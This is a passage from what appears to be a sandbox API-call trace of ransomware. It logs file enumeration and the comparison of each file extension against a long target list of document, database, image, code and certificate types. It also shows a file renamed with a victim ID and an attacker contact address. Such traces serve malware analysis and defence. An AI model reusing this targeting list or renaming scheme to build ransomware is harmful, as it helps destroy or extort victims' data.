ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0285.992] FindNextFileW (in: hFindFile=0x74a530, lpFindFileData=0x2f7f800 | out: lpFindFileData=0x2f7f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30340f2e, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x30340f2e, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3038d36e, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0xa7de, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="DOWNLE~1.COM")) returned 1 [0285.992] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[bitcharity@protonmail.com].com") returned 81 [0285.992] lstrlenW (lpString=".1cd") returned 4 [0285.992] lstrcmpiW (lpString1=".1cd", lpString2=".com") returned -1 [0285.992] lstrlenW (lpString=".3ds") returned 4 [0285.992] lstrcmpiW (lpString1=".3ds", lpString2=".com") returned -1 [0285.992] lstrlenW (lpString=".3fr") returned 4 [0285.992] lstrcmpiW (lpString1=".3fr", lpString2=".com") returned -1 [0285.992] lstrlenW (lpString=".3g2") returned 4 [0285.992] lstrcmpiW (lpString1=".3g2", lpString2=".com") returned -1 [0285.992] lstrlenW (lpString=".3gp") returned 4 [0285.992] lstrcmpiW (lpString1=".3gp", lpString2=".com") returned -1 [0285.992] lstrlenW (lpString=".7z") returned 3 [0285.992] lstrcmpiW (lpString1=".7z", lpString2="com") returned -1 [0285.992] lstrlenW (lpString=".accda") returned 6 [0285.992] lstrcmpiW (lpString1=".accda", lpString2="m].com") returned -1 [0285.992] lstrlenW (lpString=".accdb") returned 6 [0285.992] lstrcmpiW (lpString1=".accdb", lpString2="m].com") returned -1 [0285.992] lstrlenW (lpString=".accdc") returned 6 [0285.992] lstrcmpiW (lpString1=".accdc", lpString2="m].com") returned -1 [0285.992] lstrlenW (lpString=".accde") returned 6 [0285.992] lstrcmpiW (lpString1=".accde", lpString2="m].com") returned -1 [0285.992] lstrlenW (lpString=".accdt") returned 6 [0285.992] lstrcmpiW (lpString1=".accdt", lpString2="m].com") returned -1 [0285.992] lstrlenW (lpString=".accdw") returned 6 [0285.992] lstrcmpiW (lpString1=".accdw", lpString2="m].com") returned -1 [0285.992] lstrlenW (lpString=".adb") returned 4 [0285.992] lstrcmpiW (lpString1=".adb", lpString2=".com") returned -1 [0285.992] lstrlenW (lpString=".adp") returned 4 [0285.992] lstrcmpiW (lpString1=".adp", lpString2=".com") returned -1 [0285.992] lstrlenW (lpString=".ai") returned 3 [0285.992] lstrcmpiW (lpString1=".ai", lpString2="com") returned -1 [0285.992] lstrlenW (lpString=".ai3") returned 4 [0285.993] lstrcmpiW (lpString1=".ai3", lpString2=".com") returned -1 [0285.993] lstrlenW (lpString=".ai4") returned 4 [0285.993] lstrcmpiW (lpString1=".ai4", lpString2=".com") returned -1 [0285.993] lstrlenW (lpString=".ai5") returned 4 [0285.993] lstrcmpiW (lpString1=".ai5", lpString2=".com") returned -1 [0285.993] lstrlenW (lpString=".ai6") returned 4 [0285.993] lstrcmpiW (lpString1=".ai6", lpString2=".com") returned -1 [0285.993] lstrlenW (lpString=".ai7") returned 4 [0285.993] lstrcmpiW (lpString1=".ai7", lpString2=".com") returned -1 [0285.993] lstrlenW (lpString=".ai8") returned 4 [0285.993] lstrcmpiW (lpString1=".ai8", lpString2=".com") returned -1 [0285.993] lstrlenW (lpString=".anim") returned 5 [0285.993] lstrcmpiW (lpString1=".anim", lpString2="].com") returned -1 [0285.993] lstrlenW (lpString=".arw") returned 4 [0285.993] lstrcmpiW (lpString1=".arw", lpString2=".com") returned -1 [0285.993] lstrlenW (lpString=".as") returned 3 [0285.993] lstrcmpiW (lpString1=".as", lpString2="com") returned -1 [0285.993] lstrlenW (lpString=".asa") returned 4 [0285.993] lstrcmpiW (lpString1=".asa", lpString2=".com") returned -1 [0285.993] lstrlenW (lpString=".asc") returned 4 [0285.993] lstrcmpiW (lpString1=".asc", lpString2=".com") returned -1 [0285.993] lstrlenW (lpString=".ascx") returned 5 [0285.993] lstrcmpiW (lpString1=".ascx", lpString2="].com") returned -1 [0285.993] lstrlenW (lpString=".asm") returned 4 [0285.993] lstrcmpiW (lpString1=".asm", lpString2=".com") returned -1 [0285.993] lstrlenW (lpString=".asmx") returned 5 [0285.993] lstrcmpiW (lpString1=".asmx", lpString2="].com") returned -1 [0285.993] lstrlenW (lpString=".asp") returned 4 [0285.993] lstrcmpiW (lpString1=".asp", lpString2=".com") returned -1 [0285.993] lstrlenW (lpString=".aspx") returned 5 [0285.993] lstrcmpiW (lpString1=".aspx", lpString2="].com") returned -1 [0285.993] lstrlenW (lpString=".asr") returned 4 [0285.993] lstrcmpiW (lpString1=".asr", lpString2=".com") returned -1 [0285.993] lstrlenW (lpString=".asx") returned 4 [0285.993] lstrcmpiW (lpString1=".asx", lpString2=".com") returned -1 [0285.993] lstrlenW (lpString=".avi") returned 4 [0285.994] lstrcmpiW (lpString1=".avi", lpString2=".com") returned -1 [0285.994] lstrlenW (lpString=".avs") returned 4 [0285.994] lstrcmpiW (lpString1=".avs", lpString2=".com") returned -1 [0285.994] lstrlenW (lpString=".backup") returned 7 [0285.994] lstrcmpiW (lpString1=".backup", lpString2="om].com") returned -1 [0285.994] lstrlenW (lpString=".bak") returned 4 [0285.994] lstrcmpiW (lpString1=".bak", lpString2=".com") returned -1 [0285.994] lstrlenW (lpString=".bay") returned 4 [0285.994] lstrcmpiW (lpString1=".bay", lpString2=".com") returned -1 [0285.994] lstrlenW (lpString=".bd") returned 3 [0285.994] lstrcmpiW (lpString1=".bd", lpString2="com") returned -1 [0285.994] lstrlenW (lpString=".bin") returned 4 [0285.994] lstrcmpiW (lpString1=".bin", lpString2=".com") returned -1 [0285.994] lstrlenW (lpString=".bmp") returned 4 [0285.994] lstrcmpiW (lpString1=".bmp", lpString2=".com") returned -1 [0285.994] lstrlenW (lpString=".bz2") returned 4 [0285.994] lstrcmpiW (lpString1=".bz2", lpString2=".com") returned -1 [0285.994] lstrlenW (lpString=".c") returned 2 [0285.994] lstrcmpiW (lpString1=".c", lpString2="om") returned -1 [0285.994] lstrlenW (lpString=".cdr") returned 4 [0285.994] lstrcmpiW (lpString1=".cdr", lpString2=".com") returned -1 [0285.994] lstrlenW (lpString=".cer") returned 4 [0285.994] lstrcmpiW (lpString1=".cer", lpString2=".com") returned -1 [0285.994] lstrlenW (lpString=".cf") returned 3 [0285.994] lstrcmpiW (lpString1=".cf", lpString2="com") returned -1 [0285.994] lstrlenW (lpString=".cfc") returned 4 [0285.994] lstrcmpiW (lpString1=".cfc", lpString2=".com") returned -1 [0285.994] lstrlenW (lpString=".cfm") returned 4 [0285.994] lstrcmpiW (lpString1=".cfm", lpString2=".com") returned -1 [0285.994] lstrlenW (lpString=".cfml") returned 5 [0285.994] lstrcmpiW (lpString1=".cfml", lpString2="].com") returned -1 [0285.994] lstrlenW (lpString=".cfu") returned 4 [0285.994] lstrcmpiW (lpString1=".cfu", lpString2=".com") returned -1 [0285.994] lstrlenW (lpString=".chm") returned 4 [0285.994] lstrcmpiW (lpString1=".chm", lpString2=".com") returned -1 [0285.994] lstrlenW (lpString=".cin") returned 4 [0285.995] lstrcmpiW (lpString1=".cin", lpString2=".com") returned -1 [0285.995] lstrlenW (lpString=".class") returned 6 [0285.995] lstrcmpiW (lpString1=".class", lpString2="m].com") returned -1 [0285.995] lstrlenW (lpString=".clx") returned 4 [0285.995] lstrcmpiW (lpString1=".clx", lpString2=".com") returned -1 [0285.995] lstrlenW (lpString=".config") returned 7 [0285.995] lstrcmpiW (lpString1=".config", lpString2="om].com") returned -1 [0285.995] lstrlenW (lpString=".cpp") returned 4 [0285.995] lstrcmpiW (lpString1=".cpp", lpString2=".com") returned 1 [0285.995] lstrlenW (lpString=".cr2") returned 4 [0285.995] lstrcmpiW (lpString1=".cr2", lpString2=".com") returned 1 [0285.995] lstrlenW (lpString=".crt") returned 4 [0285.995] lstrcmpiW (lpString1=".crt", lpString2=".com") returned 1 [0285.995] lstrlenW (lpString=".crw") returned 4 [0285.995] lstrcmpiW (lpString1=".crw", lpString2=".com") returned 1 [0285.995] lstrlenW (lpString=".cs") returned 3 [0285.995] lstrcmpiW (lpString1=".cs", lpString2="com") returned -1 [0285.995] lstrlenW (lpString=".css") returned 4 [0285.995] lstrcmpiW (lpString1=".css", lpString2=".com") returned 1 [0285.995] lstrlenW (lpString=".csv") returned 4 [0285.995] lstrcmpiW (lpString1=".csv", lpString2=".com") returned 1 [0285.995] lstrlenW (lpString=".cub") returned 4 [0285.995] lstrcmpiW (lpString1=".cub", lpString2=".com") returned 1 [0285.995] lstrlenW (lpString=".dae") returned 4 [0285.995] lstrcmpiW (lpString1=".dae", lpString2=".com") returned 1 [0285.995] lstrlenW (lpString=".dat") returned 4 [0285.995] lstrcmpiW (lpString1=".dat", lpString2=".com") returned 1 [0285.995] lstrlenW (lpString=".db") returned 3 [0285.995] lstrcmpiW (lpString1=".db", lpString2="com") returned -1 [0285.995] lstrlenW (lpString=".dbf") returned 4 [0285.995] lstrcmpiW (lpString1=".dbf", lpString2=".com") returned 1 [0285.995] lstrlenW (lpString=".dbx") returned 4 [0285.995] lstrcmpiW (lpString1=".dbx", lpString2=".com") returned 1 [0285.995] lstrlenW (lpString=".dc3") returned 4 [0285.995] lstrcmpiW (lpString1=".dc3", lpString2=".com") returned 1 [0285.996] lstrlenW (lpString=".dcm") returned 4 [0285.996] lstrcmpiW (lpString1=".dcm", lpString2=".com") returned 1 [0285.996] lstrlenW (lpString=".dcr") returned 4 [0285.996] lstrcmpiW (lpString1=".dcr", lpString2=".com") returned 1 [0285.996] lstrlenW (lpString=".der") returned 4 [0285.996] lstrcmpiW (lpString1=".der", lpString2=".com") returned 1 [0285.996] lstrlenW (lpString=".dib") returned 4 [0285.996] lstrcmpiW (lpString1=".dib", lpString2=".com") returned 1 [0285.996] lstrlenW (lpString=".dic") returned 4 [0285.996] lstrcmpiW (lpString1=".dic", lpString2=".com") returned 1 [0285.996] lstrlenW (lpString=".dif") returned 4 [0285.996] lstrcmpiW (lpString1=".dif", lpString2=".com") returned 1 [0285.996] lstrlenW (lpString=".divx") returned 5 [0285.996] lstrcmpiW (lpString1=".divx", lpString2="].com") returned -1 [0285.996] lstrlenW (lpString=".djvu") returned 5 [0285.996] lstrcmpiW (lpString1=".djvu", lpString2="].com") returned -1 [0285.996] lstrlenW (lpString=".dng") returned 4 [0285.996] lstrcmpiW (lpString1=".dng", lpString2=".com") returned 1 [0285.996] lstrlenW (lpString=".doc") returned 4 [0285.996] lstrcmpiW (lpString1=".doc", lpString2=".com") returned 1 [0285.996] lstrlenW (lpString=".docm") returned 5 [0285.996] lstrcmpiW (lpString1=".docm", lpString2="].com") returned -1 [0285.996] lstrlenW (lpString=".docx") returned 5 [0285.996] lstrcmpiW (lpString1=".docx", lpString2="].com") returned -1 [0285.996] lstrlenW (lpString=".dot") returned 4 [0285.996] lstrcmpiW (lpString1=".dot", lpString2=".com") returned 1 [0285.996] lstrlenW (lpString=".dotm") returned 5 [0285.996] lstrcmpiW (lpString1=".dotm", lpString2="].com") returned -1 [0285.996] lstrlenW (lpString=".dotx") returned 5 [0285.996] lstrcmpiW (lpString1=".dotx", lpString2="].com") returned -1 [0285.996] lstrlenW (lpString=".dpx") returned 4 [0285.996] lstrcmpiW (lpString1=".dpx", lpString2=".com") returned 1 [0285.996] lstrlenW (lpString=".dqy") returned 4 [0285.996] lstrcmpiW (lpString1=".dqy", lpString2=".com") returned 1 [0285.996] lstrlenW (lpString=".dsn") returned 4 [0285.996] lstrcmpiW (lpString1=".dsn", lpString2=".com") returned 1 [0285.997] lstrlenW (lpString=".dt") returned 3 [0285.997] lstrcmpiW (lpString1=".dt", lpString2="com") returned -1 [0285.997] lstrlenW (lpString=".dtd") returned 4 [0285.997] lstrcmpiW (lpString1=".dtd", lpString2=".com") returned 1 [0285.997] lstrlenW (lpString=".dwg") returned 4 [0285.997] lstrcmpiW (lpString1=".dwg", lpString2=".com") returned 1 [0285.997] lstrlenW (lpString=".dwt") returned 4 [0285.997] lstrcmpiW (lpString1=".dwt", lpString2=".com") returned 1 [0285.997] lstrlenW (lpString=".dx") returned 3 [0285.997] lstrcmpiW (lpString1=".dx", lpString2="com") returned -1 [0285.997] lstrlenW (lpString=".dxf") returned 4 [0285.997] lstrcmpiW (lpString1=".dxf", lpString2=".com") returned 1 [0285.997] lstrlenW (lpString=".edml") returned 5 [0285.997] lstrcmpiW (lpString1=".edml", lpString2="].com") returned -1 [0285.997] lstrlenW (lpString=".efd") returned 4 [0285.997] lstrcmpiW (lpString1=".efd", lpString2=".com") returned 1 [0285.997] lstrlenW (lpString=".elf") returned 4 [0285.997] lstrcmpiW (lpString1=".elf", lpString2=".com") returned 1 [0285.997] lstrlenW (lpString=".emf") returned 4 [0285.997] lstrcmpiW (lpString1=".emf", lpString2=".com") returned 1 [0285.997] lstrlenW (lpString=".emz") returned 4 [0285.997] lstrcmpiW (lpString1=".emz", lpString2=".com") returned 1 [0285.997] lstrlenW (lpString=".epf") returned 4 [0285.997] lstrcmpiW (lpString1=".epf", lpString2=".com") returned 1 [0285.997] lstrlenW (lpString=".eps") returned 4 [0285.997] lstrcmpiW (lpString1=".eps", lpString2=".com") returned 1 [0285.997] lstrlenW (lpString=".epsf") returned 5 [0285.997] lstrcmpiW (lpString1=".epsf", lpString2="].com") returned -1 [0285.997] lstrlenW (lpString=".epsp") returned 5 [0285.997] lstrcmpiW (lpString1=".epsp", lpString2="].com") returned -1 [0285.997] lstrlenW (lpString=".erf") returned 4 [0285.997] lstrcmpiW (lpString1=".erf", lpString2=".com") returned 1 [0285.997] lstrlenW (lpString=".exr") returned 4 [0285.997] lstrcmpiW (lpString1=".exr", lpString2=".com") returned 1 [0285.997] lstrlenW (lpString=".f4v") returned 4 [0285.997] lstrcmpiW (lpString1=".f4v", lpString2=".com") returned 1 [0285.998] lstrlenW (lpString=".fido") returned 5 [0285.998] lstrcmpiW (lpString1=".fido", lpString2="].com") returned -1 [0285.998] lstrlenW (lpString=".flm") returned 4 [0285.998] lstrcmpiW (lpString1=".flm", lpString2=".com") returned 1 [0285.998] lstrlenW (lpString=".flv") returned 4 [0285.998] lstrcmpiW (lpString1=".flv", lpString2=".com") returned 1 [0285.998] lstrlenW (lpString=".frm") returned 4 [0285.998] lstrcmpiW (lpString1=".frm", lpString2=".com") returned 1 [0285.998] lstrlenW (lpString=".fxg") returned 4 [0285.998] lstrcmpiW (lpString1=".fxg", lpString2=".com") returned 1 [0285.998] lstrlenW (lpString=".geo") returned 4 [0285.998] lstrcmpiW (lpString1=".geo", lpString2=".com") returned 1 [0285.998] lstrlenW (lpString=".gif") returned 4 [0285.998] lstrcmpiW (lpString1=".gif", lpString2=".com") returned 1 [0285.998] lstrlenW (lpString=".grs") returned 4 [0285.998] lstrcmpiW (lpString1=".grs", lpString2=".com") returned 1 [0285.998] lstrlenW (lpString=".gz") returned 3 [0285.998] lstrcmpiW (lpString1=".gz", lpString2="com") returned -1 [0285.998] lstrlenW (lpString=".h") returned 2 [0285.998] lstrcmpiW (lpString1=".h", lpString2="om") returned -1 [0285.998] lstrlenW (lpString=".hdr") returned 4 [0285.998] lstrcmpiW (lpString1=".hdr", lpString2=".com") returned 1 [0285.998] lstrlenW (lpString=".hpp") returned 4 [0285.998] lstrcmpiW (lpString1=".hpp", lpString2=".com") returned 1 [0285.998] lstrlenW (lpString=".hta") returned 4 [0285.998] lstrcmpiW (lpString1=".hta", lpString2=".com") returned 1 [0285.998] lstrlenW (lpString=".htc") returned 4 [0285.998] lstrcmpiW (lpString1=".htc", lpString2=".com") returned 1 [0285.998] lstrlenW (lpString=".htm") returned 4 [0285.998] lstrcmpiW (lpString1=".htm", lpString2=".com") returned 1 [0285.998] lstrlenW (lpString=".html") returned 5 [0285.998] lstrcmpiW (lpString1=".html", lpString2="].com") returned -1 [0285.998] lstrlenW (lpString=".icb") returned 4 [0285.998] lstrcmpiW (lpString1=".icb", lpString2=".com") returned 1 [0285.998] lstrlenW (lpString=".ics") returned 4 [0285.998] lstrcmpiW (lpString1=".ics", lpString2=".com") returned 1 [0285.999] lstrlenW (lpString=".iff") returned 4 [0285.999] lstrcmpiW (lpString1=".iff", lpString2=".com") returned 1 [0285.999] lstrlenW (lpString=".inc") returned 4 [0285.999] lstrcmpiW (lpString1=".inc", lpString2=".com") returned 1 [0285.999] lstrlenW (lpString=".indd") returned 5 [0285.999] lstrcmpiW (lpString1=".indd", lpString2="].com") returned -1 [0285.999] lstrlenW (lpString=".ini") returned 4 [0285.999] lstrcmpiW (lpString1=".ini", lpString2=".com") returned 1 [0285.999] lstrlenW (lpString=".iqy") returned 4 [0285.999] lstrcmpiW (lpString1=".iqy", lpString2=".com") returned 1 [0285.999] lstrlenW (lpString=".j2c") returned 4 [0285.999] lstrcmpiW (lpString1=".j2c", lpString2=".com") returned 1 [0285.999] lstrlenW (lpString=".j2k") returned 4 [0285.999] lstrcmpiW (lpString1=".j2k", lpString2=".com") returned 1 [0285.999] lstrlenW (lpString=".java") returned 5 [0285.999] lstrcmpiW (lpString1=".java", lpString2="].com") returned -1 [0285.999] lstrlenW (lpString=".jp2") returned 4 [0285.999] lstrcmpiW (lpString1=".jp2", lpString2=".com") returned 1 [0285.999] lstrlenW (lpString=".jpc") returned 4 [0285.999] lstrcmpiW (lpString1=".jpc", lpString2=".com") returned 1 [0285.999] lstrlenW (lpString=".jpe") returned 4 [0285.999] lstrcmpiW (lpString1=".jpe", lpString2=".com") returned 1 [0285.999] lstrlenW (lpString=".jpeg") returned 5 [0285.999] lstrcmpiW (lpString1=".jpeg", lpString2="].com") returned -1 [0285.999] lstrlenW (lpString=".jpf") returned 4 [0285.999] lstrcmpiW (lpString1=".jpf", lpString2=".com") returned 1 [0285.999] lstrlenW (lpString=".jpg") returned 4 [0285.999] lstrcmpiW (lpString1=".jpg", lpString2=".com") returned 1 [0285.999] lstrlenW (lpString=".jpx") returned 4 [0285.999] lstrcmpiW (lpString1=".jpx", lpString2=".com") returned 1 [0285.999] lstrlenW (lpString=".js") returned 3 [0285.999] lstrcmpiW (lpString1=".js", lpString2="com") returned -1 [0285.999] lstrlenW (lpString=".jsf") returned 4 [0285.999] lstrcmpiW (lpString1=".jsf", lpString2=".com") returned 1 [0285.999] lstrlenW (lpString=".json") returned 5 [0285.999] lstrcmpiW (lpString1=".json", lpString2="].com") returned -1 [0286.000] lstrlenW (lpString=".jsp") returned 4 [0286.000] lstrcmpiW (lpString1=".jsp", lpString2=".com") returned 1 [0286.000] lstrlenW (lpString=".kdc") returned 4 [0286.000] lstrcmpiW (lpString1=".kdc", lpString2=".com") returned 1 [0286.000] lstrlenW (lpString=".kmz") returned 4 [0286.000] lstrcmpiW (lpString1=".kmz", lpString2=".com") returned 1 [0286.000] lstrlenW (lpString=".kwm") returned 4 [0286.000] lstrcmpiW (lpString1=".kwm", lpString2=".com") returned 1 [0286.000] lstrlenW (lpString=".lasso") returned 6 [0286.000] lstrcmpiW (lpString1=".lasso", lpString2="m].com") returned -1 [0286.000] lstrlenW (lpString=".lbi") returned 4 [0286.000] lstrcmpiW (lpString1=".lbi", lpString2=".com") returned 1 [0286.000] lstrlenW (lpString=".lgf") returned 4 [0286.000] lstrcmpiW (lpString1=".lgf", lpString2=".com") returned 1 [0286.000] lstrlenW (lpString=".lgp") returned 4 [0286.000] lstrcmpiW (lpString1=".lgp", lpString2=".com") returned 1 [0286.000] lstrlenW (lpString=".log") returned 4 [0286.000] lstrcmpiW (lpString1=".log", lpString2=".com") returned 1 [0286.000] lstrlenW (lpString=".m1v") returned 4 [0286.000] lstrcmpiW (lpString1=".m1v", lpString2=".com") returned 1 [0286.000] lstrlenW (lpString=".m4a") returned 4 [0286.000] lstrcmpiW (lpString1=".m4a", lpString2=".com") returned 1 [0286.000] lstrlenW (lpString=".m4v") returned 4 [0286.000] lstrcmpiW (lpString1=".m4v", lpString2=".com") returned 1 [0286.000] lstrlenW (lpString=".max") returned 4 [0286.000] lstrcmpiW (lpString1=".max", lpString2=".com") returned 1 [0286.000] lstrlenW (lpString=".md") returned 3 [0286.000] lstrcmpiW (lpString1=".md", lpString2="com") returned -1 [0286.000] lstrlenW (lpString=".mda") returned 4 [0286.000] lstrcmpiW (lpString1=".mda", lpString2=".com") returned 1 [0286.000] lstrlenW (lpString=".mdb") returned 4 [0286.000] lstrcmpiW (lpString1=".mdb", lpString2=".com") returned 1 [0286.000] lstrlenW (lpString=".mde") returned 4 [0286.000] lstrcmpiW (lpString1=".mde", lpString2=".com") returned 1 [0286.000] lstrlenW (lpString=".mdf") returned 4 [0286.001] lstrcmpiW (lpString1=".mdf", lpString2=".com") returned 1 [0286.001] lstrlenW (lpString=".mdw") returned 4 [0286.001] lstrcmpiW (lpString1=".mdw", lpString2=".com") returned 1 [0286.001] lstrlenW (lpString=".mef") returned 4 [0286.001] lstrcmpiW (lpString1=".mef", lpString2=".com") returned 1 [0286.001] lstrlenW (lpString=".mft") returned 4 [0286.001] lstrcmpiW (lpString1=".mft", lpString2=".com") returned 1 [0286.001] lstrlenW (lpString=".mfw") returned 4 [0286.001] lstrcmpiW (lpString1=".mfw", lpString2=".com") returned 1 [0286.001] lstrlenW (lpString=".mht") returned 4 [0286.001] lstrcmpiW (lpString1=".mht", lpString2=".com") returned 1 [0286.001] lstrlenW (lpString=".mhtml") returned 6 [0286.001] lstrcmpiW (lpString1=".mhtml", lpString2="m].com") returned -1 [0286.001] lstrlenW (lpString=".mka") returned 4 [0286.001] lstrcmpiW (lpString1=".mka", lpString2=".com") returned 1 [0286.001] lstrlenW (lpString=".mkidx") returned 6 [0286.001] lstrcmpiW (lpString1=".mkidx", lpString2="m].com") returned -1 [0286.001] lstrlenW (lpString=".mkv") returned 4 [0286.001] lstrcmpiW (lpString1=".mkv", lpString2=".com") returned 1 [0286.001] lstrlenW (lpString=".mos") returned 4 [0286.001] lstrcmpiW (lpString1=".mos", lpString2=".com") returned 1 [0286.001] lstrlenW (lpString=".mov") returned 4 [0286.001] lstrcmpiW (lpString1=".mov", lpString2=".com") returned 1 [0286.001] lstrlenW (lpString=".mp3") returned 4 [0286.001] lstrcmpiW (lpString1=".mp3", lpString2=".com") returned 1 [0286.001] lstrlenW (lpString=".mp4") returned 4 [0286.001] lstrcmpiW (lpString1=".mp4", lpString2=".com") returned 1 [0286.001] lstrlenW (lpString=".mpeg") returned 5 [0286.002] lstrcmpiW (lpString1=".mpeg", lpString2="].com") returned -1 [0286.002] lstrlenW (lpString=".mpg") returned 4 [0286.002] lstrcmpiW (lpString1=".mpg", lpString2=".com") returned 1 [0286.002] lstrlenW (lpString=".mpv") returned 4 [0286.002] lstrcmpiW (lpString1=".mpv", lpString2=".com") returned 1 [0286.002] lstrlenW (lpString=".mrw") returned 4 [0286.002] lstrcmpiW (lpString1=".mrw", lpString2=".com") returned 1 [0286.002] lstrlenW (lpString=".msg") returned 4 [0286.002] lstrcmpiW (lpString1=".msg", lpString2=".com") returned 1 [0286.002] lstrlenW (lpString=".mxl") returned 4 [0286.002] lstrcmpiW (lpString1=".mxl", lpString2=".com") returned 1 [0286.002] lstrlenW (lpString=".myd") returned 4 [0286.002] lstrcmpiW (lpString1=".myd", lpString2=".com") returned 1 [0286.002] lstrlenW (lpString=".myi") returned 4 [0286.002] lstrcmpiW (lpString1=".myi", lpString2=".com") returned 1 [0286.002] lstrlenW (lpString=".nef") returned 4 [0286.002] lstrcmpiW (lpString1=".nef", lpString2=".com") returned 1 [0286.002] lstrlenW (lpString=".nrw") returned 4 [0286.002] lstrcmpiW (lpString1=".nrw", lpString2=".com") returned 1 [0286.002] lstrlenW (lpString=".obj") returned 4 [0286.002] lstrcmpiW (lpString1=".obj", lpString2=".com") returned 1 [0286.002] lstrlenW (lpString=".odb") returned 4 [0286.002] lstrcmpiW (lpString1=".odb", lpString2=".com") returned 1 [0286.002] lstrlenW (lpString=".odc") returned 4 [0286.002] lstrcmpiW (lpString1=".odc", lpString2=".com") returned 1 [0286.002] lstrlenW (lpString=".odm") returned 4 [0286.002] lstrcmpiW (lpString1=".odm", lpString2=".com") returned 1 [0286.002] lstrlenW (lpString=".odp") returned 4 [0286.002] lstrcmpiW (lpString1=".odp", lpString2=".com") returned 1 [0286.002] lstrlenW (lpString=".ods") returned 4 [0286.003] lstrcmpiW (lpString1=".ods", lpString2=".com") returned 1 [0286.003] lstrlenW (lpString=".oft") returned 4 [0286.003] lstrcmpiW (lpString1=".oft", lpString2=".com") returned 1 [0286.003] lstrlenW (lpString=".one") returned 4 [0286.003] lstrcmpiW (lpString1=".one", lpString2=".com") returned 1 [0286.003] lstrlenW (lpString=".onepkg") returned 7 [0286.003] lstrcmpiW (lpString1=".onepkg", lpString2="om].com") returned -1 [0286.003] lstrlenW (lpString=".onetoc2") returned 8 [0286.003] lstrcmpiW (lpString1=".onetoc2", lpString2="com].com") returned -1 [0286.003] lstrlenW (lpString=".opt") returned 4 [0286.003] lstrcmpiW (lpString1=".opt", lpString2=".com") returned 1 [0286.003] lstrlenW (lpString=".oqy") returned 4 [0286.003] lstrcmpiW (lpString1=".oqy", lpString2=".com") returned 1 [0286.003] lstrlenW (lpString=".orf") returned 4 [0286.003] lstrcmpiW (lpString1=".orf", lpString2=".com") returned 1 [0286.003] lstrlenW (lpString=".p12") returned 4 [0286.003] lstrcmpiW (lpString1=".p12", lpString2=".com") returned 1 [0286.003] lstrlenW (lpString=".p7b") returned 4 [0286.003] lstrcmpiW (lpString1=".p7b", lpString2=".com") returned 1 [0286.003] lstrlenW (lpString=".p7c") returned 4 [0286.003] lstrcmpiW (lpString1=".p7c", lpString2=".com") returned 1 [0286.003] lstrlenW (lpString=".pam") returned 4 [0286.003] lstrcmpiW (lpString1=".pam", lpString2=".com") returned 1 [0286.003] lstrlenW (lpString=".pbm") returned 4 [0286.003] lstrcmpiW (lpString1=".pbm", lpString2=".com") returned 1 [0286.003] lstrlenW (lpString=".pct") returned 4 [0286.003] lstrcmpiW (lpString1=".pct", lpString2=".com") returned 1 [0286.003] lstrlenW (lpString=".pcx") returned 4 [0286.003] lstrcmpiW (lpString1=".pcx", lpString2=".com") returned 1 [0286.003] lstrlenW (lpString=".pdd") returned 4 [0286.003] lstrcmpiW (lpString1=".pdd", lpString2=".com") returned 1 [0286.003] lstrlenW (lpString=".pdf") returned 4 [0286.003] lstrcmpiW (lpString1=".pdf", lpString2=".com") returned 1 [0286.003] lstrlenW (lpString=".pdp") returned 4 [0286.003] lstrcmpiW (lpString1=".pdp", lpString2=".com") returned 1 [0286.003] lstrlenW (lpString=".pef") returned 4 [0286.004] lstrcmpiW (lpString1=".pef", lpString2=".com") returned 1 [0286.004] lstrlenW (lpString=".pem") returned 4 [0286.004] lstrcmpiW (lpString1=".pem", lpString2=".com") returned 1 [0286.004] lstrlenW (lpString=".pff") returned 4 [0286.004] lstrcmpiW (lpString1=".pff", lpString2=".com") returned 1 [0286.004] lstrlenW (lpString=".pfm") returned 4 [0286.004] lstrcmpiW (lpString1=".pfm", lpString2=".com") returned 1 [0286.004] lstrlenW (lpString=".pfx") returned 4 [0286.004] lstrcmpiW (lpString1=".pfx", lpString2=".com") returned 1 [0286.004] lstrlenW (lpString=".pgm") returned 4 [0286.004] lstrcmpiW (lpString1=".pgm", lpString2=".com") returned 1 [0286.004] lstrlenW (lpString=".php") returned 4 [0286.004] lstrcmpiW (lpString1=".php", lpString2=".com") returned 1 [0286.004] lstrlenW (lpString=".php3") returned 5 [0286.004] lstrcmpiW (lpString1=".php3", lpString2="].com") returned -1 [0286.004] lstrlenW (lpString=".php4") returned 5 [0286.004] lstrcmpiW (lpString1=".php4", lpString2="].com") returned -1 [0286.004] lstrlenW (lpString=".php5") returned 5 [0286.004] lstrcmpiW (lpString1=".php5", lpString2="].com") returned -1 [0286.004] lstrlenW (lpString=".phtml") returned 6 [0286.004] lstrcmpiW (lpString1=".phtml", lpString2="m].com") returned -1 [0286.004] lstrlenW (lpString=".pict") returned 5 [0286.004] lstrcmpiW (lpString1=".pict", lpString2="].com") returned -1 [0286.004] lstrlenW (lpString=".pl") returned 3 [0286.004] lstrcmpiW (lpString1=".pl", lpString2="com") returned -1 [0286.004] lstrlenW (lpString=".pls") returned 4 [0286.004] lstrcmpiW (lpString1=".pls", lpString2=".com") returned 1 [0286.004] lstrlenW (lpString=".pm") returned 3 [0286.004] lstrcmpiW (lpString1=".pm", lpString2="com") returned -1 [0286.004] lstrlenW (lpString=".png") returned 4 [0286.004] lstrcmpiW (lpString1=".png", lpString2=".com") returned 1 [0286.004] lstrlenW (lpString=".pnm") returned 4 [0286.004] lstrcmpiW (lpString1=".pnm", lpString2=".com") returned 1 [0286.004] lstrlenW (lpString=".pot") returned 4 [0286.004] lstrcmpiW (lpString1=".pot", lpString2=".com") returned 1 [0286.004] lstrlenW (lpString=".potm") returned 5 [0286.004] lstrcmpiW (lpString1=".potm", lpString2="].com") returned -1 [0286.004] lstrlenW (lpString=".potx") returned 5 [0286.004] lstrcmpiW (lpString1=".potx", lpString2="].com") returned -1 [0286.004] lstrlenW 